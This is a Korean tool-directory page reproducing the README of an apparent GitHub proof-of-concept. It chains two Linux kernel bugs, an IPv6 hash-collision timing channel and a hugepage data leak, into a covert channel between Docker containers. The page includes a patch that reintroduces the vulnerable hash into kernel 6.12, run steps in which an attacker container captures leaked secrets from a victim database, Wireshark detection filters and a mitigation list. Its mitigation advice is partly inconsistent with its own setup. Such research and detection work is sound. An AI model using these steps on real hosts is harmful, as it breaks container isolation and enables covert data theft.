Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-1206-CVE-2025-40040-CVE-2024-49882 — 3개의 리눅스 커널 버그 체인으로, 사이드 채널을 사용해 키를 설정하고 비밀 채널을 구축하는 보안 통신 앱; | Kitploit
도구/GitHubGitHub/spiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-49882
Container SecurityExploitationData ExfiltrationNetwork SecurityContainer EscapeBinary Exploitation
GitHubspiralbl0ck/cve-2023-1206-cve-2025-40040-cve-2024-49882

CVE-2023-1206-CVE-2025-40040-CVE-2024-49882

3개의 리눅스 커널 버그 체인으로, 사이드 채널을 사용해 키를 설정하고 비밀 채널을 구축하는 보안 통신 앱;

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
12459개월 전아직 검토되지 않음

결합 은닉 채널: CVE-2023-1206 + CVE-2024-49882

개요

이 프로젝트는 두 가지 Linux 커널 취약점을 이용한 은닉 통신 채널을 시연합니다:

구성 요소CVE용도
동기화 채널CVE-2023-1206IPv6 해시 충돌 타이밍을 통한 클록 동기화
데이터 채널CVE-2024-49882대형 페이지(hugepage) 누수를 통한 컨테이너 간 데이터 전송
root@kitploit:~
┌─────────────────────────────────────────────────────────────────────┐
│                    Non-ENCRYPTED COVERT CHANNEL                     │
├─────────────────────────────────────────────────────────────────────┤
│  Container A (Sender)              Container B (Receiver)           │
│  ┌─────────────────┐               ┌─────────────────┐              │
│  │ 1. Write data   │               │ 4. Detect sync  │              │
│  │    to hugepage  │               │    preamble     │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   IPv6 Hash   ┌─────────────────┐              │
│  │ 2. Send sync    │──Collision───▶│ 5. Measure      │              │
│  │    preamble     │    Timing     │    latency      │              │
│  └────────┬────────┘               └────────┬────────┘              │
│           │                                 │                        │
│           ▼                                 ▼                        │
│  ┌─────────────────┐   Hugepage    ┌─────────────────┐              │
│  │ 3. Release      │───Reuse──────▶│ 6. Capture      │              │
│  │    hugepage     │               │    leaked data  │              │
│  └─────────────────┘               └─────────────────┘              │
└─────────────────────────────────────────────────────────────────────┘

사전 요구 사항

1. 커널 설정 (CVE-2023-1206)

취약점이 다시 도입된 커널 6.12가 필요합니다:

root@kitploit:~
# Clone kernel source
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12

# Apply vulnerability patch
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
 /* more secured version of ipv6_addr_hash() */
 static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
 {
-	return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+	u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+	return jhash_3words(v,
+			    (__force u32)a->s6_addr32[2],
+			    (__force u32)a->s6_addr32[3],
+			    initval);
 }
EOF

patch -p1 < /tmp/vuln_patch.patch

# Build and install
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub

# Reboot into vulnerable kernel
sudo reboot

2. 대형 페이지(Hugepage) 설정 (CVE-2024-49882)

root@kitploit:~
# Allocate hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# Verify
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages

# Load udmabuf module
sudo modprobe udmabuf

# Verify /dev/udmabuf exists
ls -la /dev/udmabuf

3. Docker 설정

root@kitploit:~
# Install Docker with IPv6 support
sudo apt-get update
sudo apt-get install -y docker.io docker-compose

# Enable IPv6 in Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
  "ipv6": true,
  "fixed-cidr-v6": "fd00::/80",
  "experimental": true,
  "ip6tables": true
}
EOF

sudo systemctl restart docker

빠른 시작

전체 빌드

root@kitploit:~
cd ~/covert_channel

# Build on host
make

# Build Docker containers
docker-compose build

테스트 1: CVE-2023-1206 검증 (동기화 채널)

root@kitploit:~
# Run collision test
./test_collision

# Expected output:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!

테스트 2: 컨테이너 간 데이터 누출 (CVE-2024-49882)

root@kitploit:~
# Terminal 1: Start victim database
docker-compose up victim_db

# Terminal 2: Run attacker
docker-compose run --rm attacker
# Inside container:
cd /exploit
./exploit_debug

# Terminal 3: Stop victim to trigger leak
docker stop victim_db

# Watch Terminal 2 for leaked secrets!

테스트 3: 전체 은닉 채널

root@kitploit:~
# Terminal 1: Start receiver
docker-compose run --rm receiver
cd /exploit
./covert_channel -r

# Terminal 2: Start sender
docker-compose run --rm sender
cd /exploit
./covert_channel -s "SECRET MESSAGE FROM CONTAINER A"

# Watch Terminal 1 receive the message!

Wireshark 분석

캡처 설정

root@kitploit:~
# On host, capture Docker bridge traffic
sudo tcpdump -i docker0 -w covert_channel.pcap

# Or capture specific network
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap

Wireshark 필터

root@kitploit:~
# Filter for sync channel (IPv6 TCP SYN floods)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0

# Filter for specific collision bucket traffic
ipv6.dst contains 20:01:0d:b8

# Filter by port
tcp.port == 31337

# Show only connection attempts (no data)
tcp.len == 0 && tcp.flags.syn == 1

# Time-based analysis (connections per second)
# Statistics -> I/O Graphs -> Y Axis: Packets/s

확인할 주요 사항

  1. 동기화 프리앰블: SYN 패킷의 교번 버스트

    • '1' 비트 동안 높은 패킷 전송률
    • '0' 비트 동안 낮은/없는 패킷 수
  2. 타이밍 패턴:

    • 약 100ms 비트 지속 시간
    • 1000개 이상의 연결 버스트
  3. IPv6 주소 패턴:

    • 모든 소스 주소는 동일한 XOR(addr[0], addr[1]) 값을 가짐
    • 이것이 충돌 시그니처입니다

Wireshark Lua 디섹터 (선택 사항)

다음 위치에 저장하세요: ~/.local/lib/wireshark/plugins/covert_channel.lua

root@kitploit:~
-- Covert Channel Dissector for CVE-2023-1206

local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")

local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)

covert_proto.fields = { f_collision, f_bucket }

function covert_proto.dissector(buffer, pinfo, tree)
    -- Check for IPv6 TCP SYN
    if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
        local src = pinfo.ipv6_src
        -- Check for collision pattern
        local a0 = src:get_bytes(0, 4)
        local a1 = src:get_bytes(4, 4)
        -- XOR check would go here
        
        local subtree = tree:add(covert_proto, buffer())
        subtree:add(f_collision, true)
    end
end

-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)

tshark를 이용한 시각화

root@kitploit:~
# Live packet rate graph
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1

# Extract timing data for plotting
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
    -Y "tcp.flags.syn==1" > timing_data.csv

# Plot with gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF

문제 해결

사용 가능한 대형 페이지 없음

root@kitploit:~
# Check current allocation
cat /proc/meminfo | grep Huge

# Increase allocation
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

# If fails, try after dropping caches
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages

udmabuf를 사용할 수 없음

root@kitploit:~
# Load module
sudo modprobe udmabuf

# If missing, may need to enable in kernel config
# CONFIG_UDMABUF=m

# Create device if missing
sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')

Docker에서 IPv6가 작동하지 않음

root@kitploit:~
# Enable IPv6 forwarding
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Check Docker network
docker network inspect covert_net | grep -A5 IPv6

# Recreate network with IPv6
docker-compose down
docker network rm covert_channel_covert_net
docker-compose up

동기화 채널 타이밍 문제

root@kitploit:~
# Increase bit duration for more reliable detection
# Edit covert_channel.c:
#define SYNC_BIT_DURATION_MS 200  # Increase from 100

# Increase threshold if false positives
#define SYNC_THRESHOLD 3.0  # Increase from 2.0

보안 시사점

이 프로젝트는 몇 가지 심각한 보안 문제를 보여줍니다:

  1. 컨테이너 격리 우회: 대형 페이지 재사용으로 컨테이너 간 데이터가 누출됩니다
  2. 은닉 통신: 타이밍 기반 채널은 네트워크 모니터링을 우회합니다
  3. 암호화 불필요: 채널 자체가 은밀하며, 암호화를 추가하면 탐지가 불가능해집니다

완화 조치

  1. 대형 페이지 비활성화: echo 0 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
  2. 패치된 버전(6.5+)으로 커널 업데이트
  3. Docker에서 --security-opt=no-new-privileges 사용
  4. 비정상적인 TCP SYN 패턴 모니터링

파일

참고 자료

  • CVE-2023-1206: https://bugzilla.redhat.com/show_bug.cgi?id=2175903
  • CVE-2024-49882: Linux 커널 대형 페이지 취약점
  • 커널 패치: d11b0df7ddf1831f3e170972f43186dad520bfcc
도구 다운로드
파일설명
covert_channel.c동기화 + 데이터 채널 결합
exploit_debug.cCVE-2024-49882 데이터 채널 전용
test_collision.cCVE-2023-1206 검증
timing_channel.c동기화 채널 데모
docker-compose.yml컨테이너 구성
Dockerfile.*컨테이너 빌드 파일